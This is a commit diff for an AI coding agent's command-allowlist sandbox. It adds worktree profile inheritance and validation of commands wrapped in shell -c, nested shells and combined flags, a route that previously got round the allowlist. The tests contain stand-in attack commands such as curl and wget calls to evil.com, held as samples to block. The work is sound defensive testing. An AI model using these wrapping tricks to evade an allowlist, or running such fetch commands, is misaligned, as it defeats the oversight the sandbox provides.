fix(security): inherit security profiles in worktrees and validate shell -c commands (#971)

* fix(security): inherit security profiles in worktrees and validate shell -c commands

- Add inherited_from field to SecurityProfile to mark profiles copied from parent projects
- Skip hash-based re-analysis for inherited profiles (fixes worktrees losing npm/npx etc.)
- Add shell_validators.py to validate commands inside bash/sh/zsh -c strings
- Register shell validators to close security bypass via bash -c "arbitrary_command"
- Add 13 new tests for inherited profiles and shell -c validation

Fixes worktree security config not being inherited, which caused agents to be
blocked from running npm/npx commands in isolated workspaces.

* docs: update README download links to v2.7.3 (#976)

- Update all stable download links from 2.7.2 to 2.7.3
- Add Flatpak download link (new in 2.7.3)

* fix(security): close shell -c bypass vectors and validate inherited profiles

- Fix combined shell flags bypass (-xc, -ec, -ic) in _extract_c_argument()
  Shell allows combining flags like `bash -xc 'cmd'` which bypassed -c detection
- Add recursive validation for nested shell invocations
  Prevents bypass via `bash -c "bash -c 'evil_cmd'"`
- Validate inherited_from path in should_reanalyze() with defense-in-depth
  - Must exist and be a directory
  - Must be an ancestor of current project
  - Must contain valid security profile
- Add comprehensive test coverage for all security fixes

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* style: fix import ordering in test_security.py

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* style: format shell_validators.py

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
Andy
2026-01-13 10:11:51 +01:00
committed by AndyMik90
parent 8d21978f24
commit 750ea8d188
9 changed files with 987 additions and 20 deletions
+17
View File
@@ -296,6 +296,23 @@ def setup_workspace(
f"Security config copied: {', '.join(security_files_copied)}", "success"
)
# Mark the security profile as inherited from parent project
# This prevents hash-based re-analysis which would produce a broken profile
# (worktrees lack node_modules and other build artifacts needed for detection)
if PROFILE_FILENAME in security_files_copied:
profile_path = worktree_info.path / PROFILE_FILENAME
try:
with open(profile_path) as f:
profile_data = json.load(f)
profile_data["inherited_from"] = str(project_dir.resolve())
with open(profile_path, "w") as f:
json.dump(profile_data, f, indent=2)
debug(
MODULE, f"Marked security profile as inherited from {project_dir}"
)
except (OSError, json.JSONDecodeError) as e:
debug_warning(MODULE, f"Failed to mark profile as inherited: {e}")
# Ensure .auto-claude/ is in the worktree's .gitignore
# This is critical because the worktree inherits .gitignore from the base branch,
# which may not have .auto-claude/ if that change wasn't committed/pushed.
+35 -2
View File
@@ -188,10 +188,38 @@ class ProjectAnalyzer:
return hasher.hexdigest()
def should_reanalyze(self, profile: SecurityProfile) -> bool:
"""Check if project has changed since last analysis."""
"""Check if project has changed since last analysis.
Never re-analyzes inherited profiles (from worktrees) since they
came from a validated parent project with full context (e.g., node_modules).
"""
# Never re-analyze inherited profiles - they came from a validated parent
# But validate that inherited_from points to a legitimate parent
if profile.inherited_from:
parent = Path(profile.inherited_from)
# Validate the inherited_from path:
# 1. Must exist and be a directory
# 2. Current project must be a descendant of the parent
# 3. Parent must contain a valid security profile
if (
parent.exists()
and parent.is_dir()
and self._is_descendant_of(self.project_dir, parent)
and (parent / self.PROFILE_FILENAME).exists()
):
return False
# If validation fails, treat as non-inherited and check hash
current_hash = self.compute_project_hash()
return current_hash != profile.project_hash
def _is_descendant_of(self, child: Path, parent: Path) -> bool:
"""Check if child path is a descendant of parent path."""
try:
child.resolve().relative_to(parent.resolve())
return True
except ValueError:
return False
def analyze(self, force: bool = False) -> SecurityProfile:
"""
Perform full project analysis.
@@ -205,7 +233,12 @@ class ProjectAnalyzer:
# Check for existing profile
existing = self.load_profile()
if existing and not force and not self.should_reanalyze(existing):
print(f"Using cached security profile (hash: {existing.project_hash[:8]})")
if existing.inherited_from:
print("Using inherited security profile from parent project")
else:
print(
f"Using cached security profile (hash: {existing.project_hash[:8]})"
)
return existing
print("Analyzing project structure for security profile...")
@@ -158,6 +158,10 @@ VALIDATED_COMMANDS: dict[str, str] = {
"pkill": "validate_pkill",
"kill": "validate_kill",
"killall": "validate_killall",
# Shell interpreters - validate commands inside -c
"bash": "validate_shell_c",
"sh": "validate_shell_c",
"zsh": "validate_shell_c",
}
+9 -1
View File
@@ -52,6 +52,9 @@ class SecurityProfile:
project_dir: str = ""
created_at: str = ""
project_hash: str = ""
inherited_from: str = (
"" # Source project path if inherited from parent (e.g., worktree)
)
def get_all_allowed_commands(self) -> set[str]:
"""Get the complete set of allowed commands."""
@@ -64,7 +67,7 @@ class SecurityProfile:
def to_dict(self) -> dict:
"""Convert to JSON-serializable dict."""
return {
result = {
"base_commands": sorted(self.base_commands),
"stack_commands": sorted(self.stack_commands),
"script_commands": sorted(self.script_commands),
@@ -75,6 +78,10 @@ class SecurityProfile:
"created_at": self.created_at,
"project_hash": self.project_hash,
}
# Only include inherited_from if set (to keep backward compatibility)
if self.inherited_from:
result["inherited_from"] = self.inherited_from
return result
@classmethod
def from_dict(cls, data: dict) -> "SecurityProfile":
@@ -87,6 +94,7 @@ class SecurityProfile:
project_dir=data.get("project_dir", ""),
created_at=data.get("created_at", ""),
project_hash=data.get("project_hash", ""),
inherited_from=data.get("inherited_from", ""),
)
if "detected_stack" in data:
+8
View File
@@ -59,6 +59,7 @@ from .tool_input_validator import (
# Validators (for advanced usage)
from .validator import (
VALIDATORS,
validate_bash_command,
validate_chmod_command,
validate_dropdb_command,
validate_dropuser_command,
@@ -75,6 +76,9 @@ from .validator import (
validate_psql_command,
validate_redis_cli_command,
validate_rm_command,
validate_sh_command,
validate_shell_c_command,
validate_zsh_command,
)
__all__ = [
@@ -98,6 +102,10 @@ __all__ = [
"validate_git_command",
"validate_git_commit",
"validate_git_config",
"validate_shell_c_command",
"validate_bash_command",
"validate_sh_command",
"validate_zsh_command",
"validate_dropdb_command",
"validate_dropuser_command",
"validate_psql_command",
+142
View File
@@ -0,0 +1,142 @@
"""
Shell Interpreter Validators
=============================
Validators for shell interpreter commands (bash, sh, zsh) that execute
inline commands via the -c flag.
This closes a security bypass where `bash -c "npm test"` could execute
arbitrary commands since `bash` is in BASE_COMMANDS but the commands
inside -c were not being validated.
"""
import os
import shlex
from pathlib import Path
from project_analyzer import is_command_allowed
from .parser import extract_commands, split_command_segments
from .profile import get_security_profile
from .validation_models import ValidationResult
# Shell interpreters that can execute nested commands
SHELL_INTERPRETERS = {"bash", "sh", "zsh"}
def _extract_c_argument(command_string: str) -> str | None:
"""
Extract the command string from a shell -c invocation.
Handles various formats:
- bash -c 'command'
- bash -c "command"
- sh -c 'cmd1 && cmd2'
- zsh -c "complex command"
Args:
command_string: The full shell command (e.g., "bash -c 'npm test'")
Returns:
The command string after -c, or None if not a -c invocation
"""
try:
tokens = shlex.split(command_string)
except ValueError:
# Malformed command - let it fail safely
return None
if len(tokens) < 3:
return None
# Look for -c flag (standalone or combined with other flags like -xc, -ec, -ic)
for i, token in enumerate(tokens):
# Check for standalone -c or combined flags containing 'c'
# Combined flags: -xc, -ec, -ic, -exc, etc. (short options bundled together)
is_c_flag = token == "-c" or (
token.startswith("-") and not token.startswith("--") and "c" in token[1:]
)
if is_c_flag and i + 1 < len(tokens):
# The next token is the command to execute
return tokens[i + 1]
return None
def validate_shell_c_command(command_string: str) -> ValidationResult:
"""
Validate commands inside bash/sh/zsh -c '...' strings.
This prevents using shell interpreters to bypass the security allowlist.
All commands inside the -c string must also be allowed by the profile.
Args:
command_string: The full shell command (e.g., "bash -c 'npm test'")
Returns:
Tuple of (is_valid, error_message)
"""
# Extract the command after -c
inner_command = _extract_c_argument(command_string)
if inner_command is None:
# Not a -c invocation (e.g., "bash script.sh") - allow it
# The script itself would need to be in allowed commands
return True, ""
# Get the security profile for the current project
# Use PROJECT_DIR_ENV_VAR if set, otherwise use cwd
from .constants import PROJECT_DIR_ENV_VAR
project_dir = os.environ.get(PROJECT_DIR_ENV_VAR)
if not project_dir:
project_dir = os.getcwd()
try:
profile = get_security_profile(Path(project_dir))
except Exception:
# If we can't get the profile, fail safe by blocking
return False, "Could not load security profile to validate shell -c command"
# Extract command names for allowlist validation
inner_command_names = extract_commands(inner_command)
if not inner_command_names:
# Could not parse - be permissive for empty commands
# (e.g., bash -c "" is harmless)
if not inner_command.strip():
return True, ""
return False, f"Could not parse commands inside shell -c: {inner_command}"
# Validate each command name against the security profile
for cmd_name in inner_command_names:
is_allowed, reason = is_command_allowed(cmd_name, profile)
if not is_allowed:
return (
False,
f"Command '{cmd_name}' inside shell -c is not allowed: {reason}",
)
# Get full command segments for recursive shell validation
# (split_command_segments gives us full commands, not just names)
inner_segments = split_command_segments(inner_command)
for segment in inner_segments:
# Check if this segment is a shell invocation that needs recursive validation
segment_commands = extract_commands(segment)
if segment_commands:
first_cmd = segment_commands[0]
# Handle paths like /bin/bash
base_cmd = first_cmd.rsplit("/", 1)[-1] if "/" in first_cmd else first_cmd
if base_cmd in SHELL_INTERPRETERS:
valid, err = validate_shell_c_command(segment)
if not valid:
return False, f"Nested shell command not allowed: {err}"
return True, ""
# Alias for common shell interpreters - they all use the same validation
validate_bash_command = validate_shell_c_command
validate_sh_command = validate_shell_c_command
validate_zsh_command = validate_shell_c_command
+11
View File
@@ -43,6 +43,12 @@ from .process_validators import (
validate_killall_command,
validate_pkill_command,
)
from .shell_validators import (
validate_bash_command,
validate_sh_command,
validate_shell_c_command,
validate_zsh_command,
)
from .validation_models import ValidationResult, ValidatorFunction
from .validator_registry import VALIDATORS, get_validator
@@ -66,6 +72,11 @@ __all__ = [
"validate_git_commit",
"validate_git_command",
"validate_git_config",
# Shell validators
"validate_shell_c_command",
"validate_bash_command",
"validate_sh_command",
"validate_zsh_command",
# Database validators
"validate_dropdb_command",
"validate_dropuser_command",
@@ -25,6 +25,11 @@ from .process_validators import (
validate_killall_command,
validate_pkill_command,
)
from .shell_validators import (
validate_bash_command,
validate_sh_command,
validate_zsh_command,
)
from .validation_models import ValidatorFunction
# Map command names to their validation functions
@@ -39,6 +44,10 @@ VALIDATORS: dict[str, ValidatorFunction] = {
"init.sh": validate_init_script,
# Git
"git": validate_git_commit,
# Shell interpreters (validate commands inside -c)
"bash": validate_bash_command,
"sh": validate_sh_command,
"zsh": validate_zsh_command,
# Database - PostgreSQL
"dropdb": validate_dropdb_command,
"dropuser": validate_dropuser_command,
+752 -17
View File
@@ -11,28 +11,31 @@ Tests the security.py module functionality including:
"""
import pytest
from project_analyzer import BASE_COMMANDS, SecurityProfile
from security import (
extract_commands,
split_command_segments,
validate_command,
validate_pkill_command,
validate_kill_command,
validate_chmod_command,
validate_rm_command,
validate_git_commit,
validate_git_config,
validate_dropdb_command,
validate_dropuser_command,
validate_psql_command,
validate_mysql_command,
validate_redis_cli_command,
validate_mongosh_command,
validate_mysqladmin_command,
get_command_for_validation,
reset_profile_cache,
split_command_segments,
validate_bash_command,
validate_chmod_command,
validate_command,
validate_dropdb_command,
validate_dropuser_command,
validate_git_commit,
validate_git_config,
validate_kill_command,
validate_mongosh_command,
validate_mysql_command,
validate_mysqladmin_command,
validate_pkill_command,
validate_psql_command,
validate_redis_cli_command,
validate_rm_command,
validate_sh_command,
validate_shell_c_command,
validate_zsh_command,
)
from project_analyzer import SecurityProfile, BASE_COMMANDS
class TestCommandExtraction:
@@ -849,3 +852,735 @@ class TestMysqladminValidator:
"""Blocks kill."""
allowed, reason = validate_mysqladmin_command("mysqladmin kill 123")
assert allowed is False
class TestShellCValidator:
"""Tests for bash/sh/zsh -c command validation.
These validators prevent using shell interpreters to bypass the
security allowlist by executing arbitrary commands via -c flag.
"""
def test_allows_bash_without_c_flag(self):
"""Allows bash without -c flag (script execution)."""
allowed, reason = validate_bash_command("bash script.sh")
assert allowed is True
def test_allows_sh_without_c_flag(self):
"""Allows sh without -c flag."""
allowed, reason = validate_sh_command("sh ./install.sh")
assert allowed is True
def test_allows_zsh_without_c_flag(self):
"""Allows zsh without -c flag."""
allowed, reason = validate_zsh_command("zsh myscript.zsh")
assert allowed is True
def test_allows_empty_c_command(self):
"""Allows empty -c command (harmless)."""
allowed, reason = validate_bash_command("bash -c ''")
assert allowed is True
def test_allows_bash_c_with_allowed_command(self, tmp_path, monkeypatch):
"""Allows bash -c with commands that are in the allowlist."""
from project.analyzer import ProjectAnalyzer
# Set up a mock project directory with a security profile
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
# Compute the actual hash for this directory so profile isn't re-analyzed
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
# Create a minimal security profile with ls, echo, pwd
import json
profile_data = {
"base_commands": ["ls", "echo", "pwd", "cd"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
# Reset cache to pick up the new profile
reset_profile_cache()
allowed, reason = validate_bash_command("bash -c 'ls -la'")
assert allowed is True
allowed, reason = validate_bash_command("bash -c 'echo hello && pwd'")
assert allowed is True
def test_blocks_bash_c_with_disallowed_command(self, tmp_path, monkeypatch):
"""Blocks bash -c with commands not in the allowlist."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
# Compute the actual hash for this directory so profile isn't re-analyzed
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
# Create a minimal security profile WITHOUT npm
import json
profile_data = {
"base_commands": ["ls", "echo"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
# npm is not in the allowlist, so this should be blocked
allowed, reason = validate_bash_command("bash -c 'npm test'")
assert allowed is False
assert "npm" in reason
assert "not allowed" in reason
def test_blocks_sh_c_with_disallowed_command(self, tmp_path, monkeypatch):
"""Blocks sh -c with commands not in the allowlist."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
# Compute the actual hash for this directory so profile isn't re-analyzed
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
import json
profile_data = {
"base_commands": ["ls"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
allowed, reason = validate_sh_command("sh -c 'curl http://evil.com'")
assert allowed is False
assert "curl" in reason
def test_handles_complex_c_command(self, tmp_path, monkeypatch):
"""Handles complex commands with pipes and chains."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
# Compute the actual hash for this directory so profile isn't re-analyzed
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
import json
profile_data = {
"base_commands": ["ls", "grep", "wc"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
# All commands are allowed
allowed, reason = validate_bash_command("bash -c 'ls -la | grep pattern | wc -l'")
assert allowed is True
# One command not allowed
allowed, reason = validate_bash_command("bash -c 'ls -la | npm run test'")
assert allowed is False
def test_blocks_combined_xc_flag(self, tmp_path, monkeypatch):
"""Blocks bash -xc with disallowed commands (combined flags bypass)."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
import json
profile_data = {
"base_commands": ["ls", "echo"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
# Combined -xc flag should be detected and curl blocked
allowed, reason = validate_bash_command("bash -xc 'curl http://evil.com'")
assert allowed is False
assert "curl" in reason
def test_blocks_combined_ec_flag(self, tmp_path, monkeypatch):
"""Blocks bash -ec with disallowed commands."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
import json
profile_data = {
"base_commands": ["ls", "echo"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
# Combined -ec flag should be detected and wget blocked
allowed, reason = validate_bash_command("bash -ec 'wget evil.com'")
assert allowed is False
assert "wget" in reason
def test_blocks_combined_ic_flag(self, tmp_path, monkeypatch):
"""Blocks bash -ic with disallowed commands (interactive + command)."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
import json
profile_data = {
"base_commands": ["ls", "echo"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
# Combined -ic flag should be detected
allowed, reason = validate_bash_command("bash -ic 'npm run evil'")
assert allowed is False
assert "npm" in reason
def test_allows_combined_flags_with_allowed_commands(self, tmp_path, monkeypatch):
"""Allows combined flags when inner command is allowed."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
import json
profile_data = {
"base_commands": ["ls", "echo", "pwd"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
# Combined flags with allowed commands should pass
allowed, reason = validate_bash_command("bash -xc 'echo hello'")
assert allowed is True
def test_blocks_nested_shell_invocation(self, tmp_path, monkeypatch):
"""Blocks nested shell invocations with disallowed commands."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
import json
profile_data = {
"base_commands": ["ls", "echo", "bash", "sh"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
# Nested shell with disallowed command should be blocked
allowed, reason = validate_bash_command("bash -c 'bash -c \"curl http://evil.com\"'")
assert allowed is False
assert "curl" in reason or "nested" in reason.lower()
def test_allows_nested_shell_with_allowed_commands(self, tmp_path, monkeypatch):
"""Allows nested shell invocations when all commands are allowed."""
from project.analyzer import ProjectAnalyzer
monkeypatch.setenv("AUTO_CLAUDE_PROJECT_DIR", str(tmp_path))
actual_hash = ProjectAnalyzer(tmp_path).compute_project_hash()
import json
profile_data = {
"base_commands": ["ls", "echo", "bash", "sh", "pwd"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(tmp_path),
"created_at": "",
"project_hash": actual_hash
}
(tmp_path / ".auto-claude-security.json").write_text(json.dumps(profile_data))
reset_profile_cache()
# Nested shell with all allowed commands should pass
allowed, reason = validate_bash_command("bash -c 'bash -c \"echo hello\"'")
assert allowed is True
class TestInheritedSecurityProfile:
"""Tests for inherited security profiles (worktree support).
When a security profile is inherited from a parent project,
it should not be re-analyzed even if the hash doesn't match.
"""
def test_inherited_profile_serialization(self):
"""Tests that inherited_from field is serialized correctly."""
profile = SecurityProfile(
base_commands={"ls", "echo"},
project_hash="abc123",
inherited_from="/path/to/parent/project"
)
data = profile.to_dict()
assert "inherited_from" in data
assert data["inherited_from"] == "/path/to/parent/project"
def test_inherited_profile_deserialization(self):
"""Tests that inherited_from field is loaded correctly."""
data = {
"base_commands": ["ls", "echo"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": "/some/path",
"created_at": "",
"project_hash": "abc123",
"inherited_from": "/path/to/parent"
}
profile = SecurityProfile.from_dict(data)
assert profile.inherited_from == "/path/to/parent"
def test_inherited_profile_omits_field_when_empty(self):
"""Tests that inherited_from is not in dict when empty (backward compat)."""
profile = SecurityProfile(
base_commands={"ls"},
project_hash="abc123"
)
data = profile.to_dict()
assert "inherited_from" not in data
def test_should_reanalyze_skips_inherited_profiles(self, tmp_path):
"""Tests that inherited profiles from valid parents are never re-analyzed."""
import json
from project.analyzer import ProjectAnalyzer
# Set up a proper parent-child directory structure
parent_dir = tmp_path / "parent"
parent_dir.mkdir()
child_dir = parent_dir / "child"
child_dir.mkdir()
# Create a valid security profile in the parent
parent_profile_data = {
"base_commands": ["npm", "npx", "node"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(parent_dir),
"created_at": "",
"project_hash": "parent_hash"
}
(parent_dir / ".auto-claude-security.json").write_text(json.dumps(parent_profile_data))
# Create a profile with valid inherited_from pointing to actual parent
profile = SecurityProfile(
base_commands={"npm", "npx", "node"},
project_hash="different_hash_that_would_normally_trigger_reanalysis",
inherited_from=str(parent_dir)
)
analyzer = ProjectAnalyzer(child_dir)
# Even though the hash doesn't match, should_reanalyze should return False
# because inherited_from points to a valid ancestor with a security profile
assert analyzer.should_reanalyze(profile) is False
def test_should_reanalyze_runs_for_non_inherited_profiles(self, tmp_path):
"""Tests that non-inherited profiles are re-analyzed when hash differs."""
from project.analyzer import ProjectAnalyzer
# Create a profile WITHOUT inherited_from
profile = SecurityProfile(
base_commands={"ls"},
project_hash="old_hash_that_doesnt_match"
)
analyzer = ProjectAnalyzer(tmp_path)
# Hash won't match, so should_reanalyze should return True
assert analyzer.should_reanalyze(profile) is True
def test_should_reanalyze_validates_inherited_from_path(self, tmp_path):
"""Tests that inherited_from path is validated before trusting it."""
import json
from project.analyzer import ProjectAnalyzer
# Create a child directory structure
parent_dir = tmp_path / "parent"
parent_dir.mkdir()
child_dir = parent_dir / "child"
child_dir.mkdir()
# Create a valid parent profile
parent_profile_data = {
"base_commands": ["ls"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(parent_dir),
"created_at": "",
"project_hash": "abc123"
}
(parent_dir / ".auto-claude-security.json").write_text(json.dumps(parent_profile_data))
# Create a profile with valid inherited_from (child -> parent)
valid_profile = SecurityProfile(
base_commands={"ls"},
project_hash="different_hash",
inherited_from=str(parent_dir)
)
analyzer = ProjectAnalyzer(child_dir)
# Valid inherited_from should NOT trigger re-analysis
assert analyzer.should_reanalyze(valid_profile) is False
def test_should_reanalyze_rejects_invalid_inherited_from_path(self, tmp_path):
"""Tests that invalid inherited_from path triggers re-analysis."""
from project.analyzer import ProjectAnalyzer
# Create a profile with invalid inherited_from (non-existent path)
invalid_profile = SecurityProfile(
base_commands={"ls"},
project_hash="different_hash",
inherited_from="/non/existent/path"
)
analyzer = ProjectAnalyzer(tmp_path)
# Invalid inherited_from should trigger re-analysis (falls back to hash check)
assert analyzer.should_reanalyze(invalid_profile) is True
def test_should_reanalyze_rejects_non_ancestor_inherited_from(self, tmp_path):
"""Tests that non-ancestor inherited_from path triggers re-analysis."""
import json
from project.analyzer import ProjectAnalyzer
# Create two unrelated directories
dir_a = tmp_path / "dir_a"
dir_a.mkdir()
dir_b = tmp_path / "dir_b"
dir_b.mkdir()
# Create a profile in dir_a
profile_data = {
"base_commands": ["ls"],
"stack_commands": [],
"script_commands": [],
"custom_commands": [],
"detected_stack": {
"languages": [],
"package_managers": [],
"frameworks": [],
"databases": [],
"infrastructure": [],
"cloud_providers": [],
"code_quality_tools": [],
"version_managers": []
},
"custom_scripts": {
"npm_scripts": [],
"make_targets": [],
"poetry_scripts": [],
"cargo_aliases": [],
"shell_scripts": []
},
"project_dir": str(dir_a),
"created_at": "",
"project_hash": "abc123"
}
(dir_a / ".auto-claude-security.json").write_text(json.dumps(profile_data))
# Create a profile pointing to dir_a from dir_b (not an ancestor)
spoofed_profile = SecurityProfile(
base_commands={"curl", "wget"}, # Dangerous commands
project_hash="different_hash",
inherited_from=str(dir_a) # dir_a is not an ancestor of dir_b
)
analyzer = ProjectAnalyzer(dir_b)
# Non-ancestor inherited_from should trigger re-analysis
assert analyzer.should_reanalyze(spoofed_profile) is True